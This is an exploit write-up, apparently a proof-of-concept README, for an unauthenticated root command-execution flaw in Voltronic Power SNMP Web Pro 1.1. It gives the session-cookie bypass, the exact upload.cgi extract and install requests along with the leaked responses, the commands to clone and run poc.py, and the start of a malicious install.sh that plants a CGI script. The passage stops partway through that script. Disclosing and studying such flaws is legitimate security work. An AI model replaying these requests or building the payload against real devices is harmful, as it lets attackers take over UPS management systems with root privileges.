
Pre-Authenticated Full Root Remote Command Execution in Voltronic Power SNMP Web Pro 1.1
Pre-Authenticated Full Remote Command Execution in Voltronic Power SNMP Web Pro 1.1
SNMP Web Pro 1.1 contains an unauthenticated remote code execution vulnerability in the upload.cgi endpoint. The firmware update functionality lets users upload a tar archive, which is then extracted and installed without any input validation or security checks. The application fails to restrict or sanitize the archive contents, so an attacker can upload a crafted archive containing malicious CGI scripts. With a bit of trial and error - and a lot of help from the information each response leaks - it is possible to work out the exact archive format expected and craft a malicious one.
Additionally, the endpoint does not properly validate authentication: supplying a manipulated or invalid session cookie is enough to bypass the access controls and reach the vulnerable functionality without valid credentials, even though the front-end clearly demands a login to use it.
Successful exploitation allows an attacker to place arbitrary executable files inside the CGI server directory and execute commands with root privileges.
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
All of the following was done against a local instance (http://localhost:5555). Two things make this whole exercise trivial from the start:
Cookie: -http-session-=NOT_VALID header is all we need for every request - the sid query parameter is a random value generated by the front-end JavaScript and is equally ignored by the server.The steps below follow that loop. Requests are trimmed down to the minimum headers the server actually cares about.
The very first request already tells us where the server expects the firmware archive to live. Note that params=extract is asking the CGI to extract an archive, not to receive one: nothing has been uploaded yet, the endpoint simply tries to unpack whatever it expects to find on disk.
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
Response:
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124
tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8
upgrade=extract
(NAK
The body is gold. Besides the (NAK (negative acknowledgement) telling us the operation failed, the raw output of the tar binary is embedded verbatim in the response: it is trying to extract /root/upgrade.tar.gz. Also note the target install path /root - we are talking to a privileged process.
Two facts for the exploitation plan:
upgrade.tar.gz and dropped into /root. Our filename does not matter.First, create a dummy tar archive (the upload is a multipart POST; its trace is not interesting - the GET calls drive all the behaviour):
tar czvf test.tar.gz test.txt
test.txt
Start the cycle: upload the archive, then extract it:
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=extract
(ACK
(ACK - the extraction went through without complaint. The cycle (upload -> extract -> install) is the shape of this whole exploit; from here on only the install step changes, so the next traces only show the request line and the response body (headers stay identical to the ones above).
upgradeExtraction works, time to install. The response expectedly differs:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63
upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
(ACK again, but the leftovers of a shell command leak through: cd: line 1: can't cd to /root/upgrade*. The installer runs arbitrary shell - it tries to cd into a glob expanding to a folder named upgrade inside the extracted archive. Our innocent flat archive (test.txt at the root) does not satisfy the glob. Easy fix: repackage with a top-level upgrade/ directory.
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
Then repeat the first two steps of the cycle: re-upload, re-extract.
install.shSame install call again, and the leak gets even better:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65
upgrade=install
(ACKchmod: install.sh: No such file or directory
It chmods a script called install.sh - meaning the install procedure executes a shell script from the archive, as root. At this point we control every file of the archive, so we control that script. This is the entire vulnerability in one line: arbitrary files, executed with root privileges, with no authentication.
Build install.sh and pwned.cgi inside the upgrade/ directory (both files are also bundled in the upgrade/ folder of this repository).
install.sh unpacks the physical layout so our script is dropped into the web-root CGI directory, then fixes permissions:
cat upgrade/install.sh
#!/bin/sh
current="$PWD"
show=$(ls -la /root/upgrade 2>/dev/null)
ww=$(whoami)